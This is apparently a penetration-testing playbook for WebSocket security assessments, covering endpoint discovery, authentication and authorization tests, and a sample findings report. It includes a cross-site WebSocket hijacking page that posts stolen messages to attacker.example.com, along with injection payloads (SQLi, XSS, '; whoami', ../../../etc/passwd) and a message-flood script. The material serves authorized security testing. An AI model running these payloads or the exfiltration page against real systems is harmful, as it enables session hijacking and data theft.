| name | exploiting-websocket-vulnerabilities |
| description | Testing WebSocket implementations for authentication bypass, cross-site hijacking, injection attacks, and insecure message handling during authorized security assessments. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","websocket","web-security","owasp","real-time","burpsuite"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
Exploiting WebSocket Vulnerabilities
When to Use
- During authorized penetration tests when the application uses WebSocket connections for real-time features
- When assessing chat applications, live notifications, trading platforms, or collaborative editing tools
- For testing WebSocket API endpoints for authentication and authorization flaws
- When evaluating real-time data streams for injection vulnerabilities
- During security assessments of applications using Socket.IO, SignalR, or native WebSocket APIs
Prerequisites
- Authorization: Written penetration testing agreement covering WebSocket testing
- Burp Suite Professional: With WebSocket interception capability
- Browser DevTools: Network tab for WebSocket frame inspection
- websocat: Command-line WebSocket client (
cargo install websocat)
- wscat: Node.js WebSocket client (
npm install -g wscat)
- Python websockets: For scripting custom WebSocket attacks (
pip install websockets)
Workflow
Step 1: Discover and Enumerate WebSocket Endpoints
Identify WebSocket connections in the application.
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
"https://target.example.com/ws"
for path in /ws /websocket /socket /socket.io /signalr /hub \
/chat /notifications /live /stream /realtime /api/ws; do
echo -n "$path: "
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
"https://target.example.com$path")
echo "$status"
done
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"
curl -s "https://target.example.com/signalr/negotiate"
Step 2: Test WebSocket Authentication
Verify that WebSocket connections require proper authentication.
wscat -c "wss://target.example.com/ws"
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=invalid_or_expired_token"
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=valid_session_from_another_user"
wscat -c "wss://target.example.com/ws?token=invalid_token"
python3 << 'PYEOF'
import asyncio
import websockets
async def test_no_auth():
try:
async with websockets.connect("wss://target.example.com/ws") as ws:
print("Connected WITHOUT authentication!")
await ws.send('{"type":"get_data","resource":"users"}')
response = await ws.recv()
print(f"Response: {response}")
except Exception as e:
print(f"Connection failed: {e}")
asyncio.run(test_no_auth())
PYEOF
Step 3: Test Cross-Site WebSocket Hijacking (CSWSH)
Check if the WebSocket handshake is vulnerable to cross-site attacks.
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
-H "Origin: https://evil.example.com" \
"https://target.example.com/ws"
<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>Cross-Site WebSocket Hijacking</h1>
<div id="messages"></div>
<script>
var ws = new WebSocket("wss://target.example.com/ws");
ws.onopen = function() {
console.log("WebSocket connected (using victim's session)");
ws.send(JSON.stringify({type: "get_messages", channel: "private"}));
ws.send(JSON.stringify({type: "get_profile"}));
};
ws.onmessage = function(event) {
console.log("Data stolen: " + event.data);
document.getElementById("messages").innerText += event.data + "\n";
fetch("https://attacker.example.com/collect", {
method: "POST",
body: event.data
});
};
ws.onerror = function(error) {
console.log("WebSocket error: " + error);
};
</script>
</body>
</html>
Step 4: Test WebSocket Message Injection
Assess WebSocket messages for injection vulnerabilities.
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=valid_session_token"
python3 << 'PYEOF'
import asyncio
import websockets
import json
PAYLOADS = [
{"action": "search", "query": "' OR 1=1--"},
{"action": "search", "query": "<script>alert(1)</script>"},
{"action": "search", "query": "{{7*7}}"},
{"action": "search", "query": "${7*7}"},
{"action": "read", "file": "../../../etc/passwd"},
{"action": "exec", "cmd": "; whoami"},
]
async def test_injections():
async with websockets.connect(
"wss://target.example.com/ws",
extra_headers={"Cookie": "session=valid_token"}
) as ws:
for payload in PAYLOADS:
await ws.send(json.dumps(payload))
try:
response = await asyncio.wait_for(ws.recv(), timeout=5)
print(f"Payload: {json.dumps(payload)}")
print(f"Response: {response}\n")
except asyncio.TimeoutError:
print(f"Timeout for: {json.dumps(payload)}\n")
asyncio.run(test_injections())
PYEOF
Step 5: Test WebSocket Authorization and Rate Limiting
Check if message-level authorization and abuse controls are enforced.
python3 << 'PYEOF'
import asyncio
import websockets
import json
async def test_authz():
async with websockets.connect(
"wss://target.example.com/ws",
extra_headers={"Cookie": "session=user_a_session"}
) as ws:
messages = [
{"type": "subscribe", "channel": "user_b_private"},
{"type": "get_history", "user_id": "user_b_id"},
{"type": "admin_action", "action": "list_users"},
{"type": "send_message", "to": "admin", "as": "admin"},
]
for msg in messages:
await ws.send(json.dumps(msg))
try:
response = await asyncio.wait_for(ws.recv(), timeout=5)
print(f"Sent: {json.dumps(msg)}")
print(f"Received: {response}\n")
except asyncio.TimeoutError:
print(f"No response for: {json.dumps(msg)}\n")
asyncio.run(test_authz())
PYEOF
python3 << 'PYEOF'
import asyncio
import websockets
import json
import time
async def test_rate_limit():
async with websockets.connect(
"wss://target.example.com/ws",
extra_headers={"Cookie": "session=valid_token"}
) as ws:
start = time.time()
for i in range(1000):
await ws.send(json.dumps({
"type": "message",
"content": f"Flood message {i}"
}))
elapsed = time.time() - start
print(f"Sent 1000 messages in {elapsed:.2f} seconds")
print("If no rate limiting, DoS is possible")
asyncio.run(test_rate_limit())
PYEOF
Step 6: Test WebSocket Encryption and Protocol Security
Verify transport security and protocol-level protections.
curl -s "https://target.example.com/" | grep -oP "ws://[^\"']+"
wscat -c "wss://target.example.com/ws" \
-H "Sec-WebSocket-Protocol: admin-protocol"
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Extensions: permessage-deflate" \
"https://target.example.com/ws" | grep -i "sec-websocket-extensions"
Key Concepts
| Concept | Description |
|---|
| WebSocket Handshake | HTTP upgrade request that transitions the connection from HTTP to WebSocket protocol |
| CSWSH | Cross-Site WebSocket Hijacking - exploiting missing Origin validation to hijack sessions |
| Origin Validation | Server-side check that the WebSocket upgrade request comes from a trusted origin |
| Message-level Authorization | Verifying permissions for each WebSocket message, not just at connection time |
| WSS | WebSocket Secure - encrypted WebSocket connection over TLS (equivalent to HTTPS) |
| Socket.IO | Popular WebSocket library with automatic fallback to HTTP long-polling |
| Ping/Pong Frames | WebSocket keepalive mechanism; can be abused for timing attacks |
Tools & Systems
| Tool | Purpose |
|---|
| Burp Suite Professional | WebSocket interception, modification, and history analysis |
| wscat | Command-line WebSocket client for manual testing |
| websocat | Versatile command-line WebSocket client written in Rust |
| Browser DevTools | Network tab WS filter for inspecting WebSocket frames |
| Socket.IO Client | Testing Socket.IO-based WebSocket implementations |
| Python websockets | Scripting automated WebSocket attack sequences |
Common Scenarios
Scenario 1: Chat Application CSWSH
A real-time chat application validates the user's cookie during the WebSocket handshake but does not check the Origin header. An attacker hosts a page that opens a WebSocket to the chat server, stealing the victim's private messages.
Scenario 2: Trading Platform Message Injection
A trading platform processes WebSocket messages containing order parameters. SQL injection in the symbol field of an order message allows extracting the entire order database through error-based SQLi.
Scenario 3: Missing Message Authorization
A collaboration tool checks user authentication at WebSocket connection time but does not verify authorization for individual messages. After connecting, a regular user sends admin-level commands to delete workspaces and export user data.
Scenario 4: Notification Channel IDOR
A notification system subscribes users to channels via WebSocket messages containing channel IDs. Changing the channel ID allows any user to subscribe to any other user's private notification channel.
Output Format
## WebSocket Security Assessment Report
**Vulnerability**: Cross-Site WebSocket Hijacking (CSWSH)
**Severity**: High (CVSS 8.1)
**Location**: wss://target.example.com/ws
**OWASP Category**: A01:2021 - Broken Access Control
### WebSocket Configuration
| Property | Value |
|----------|-------|
| Protocol | WSS (encrypted) |
| Library | Socket.IO 4.x |
| Authentication | Cookie-based session |
| Origin Validation | NOT ENFORCED |
| Message Authorization | NOT ENFORCED |
| Rate Limiting | NOT IMPLEMENTED |
### Findings
| Finding | Severity |
|---------|----------|
| CSWSH - No Origin validation | High |
| Missing message-level authorization | High |
| XSS via chat message injection | Medium |
| No rate limiting on messages | Medium |
| Channel IDOR (subscribe to any channel) | High |
| WebSocket open after logout | Medium |
### Impact
- Private message exfiltration via CSWSH
- Account impersonation through unauthorized message sending
- Cross-channel data access affecting all users
- DoS via message flooding (no rate limits)
### Recommendation
1. Validate the Origin header during WebSocket handshake
2. Implement CSRF tokens in the WebSocket upgrade request
3. Enforce authorization checks on every WebSocket message
4. Sanitize all user input in WebSocket messages (prevent XSS/SQLi)
5. Implement message rate limiting per connection
6. Invalidate WebSocket connections on logout or session expiration
7. Use per-message authentication tokens rather than relying solely on the initial handshake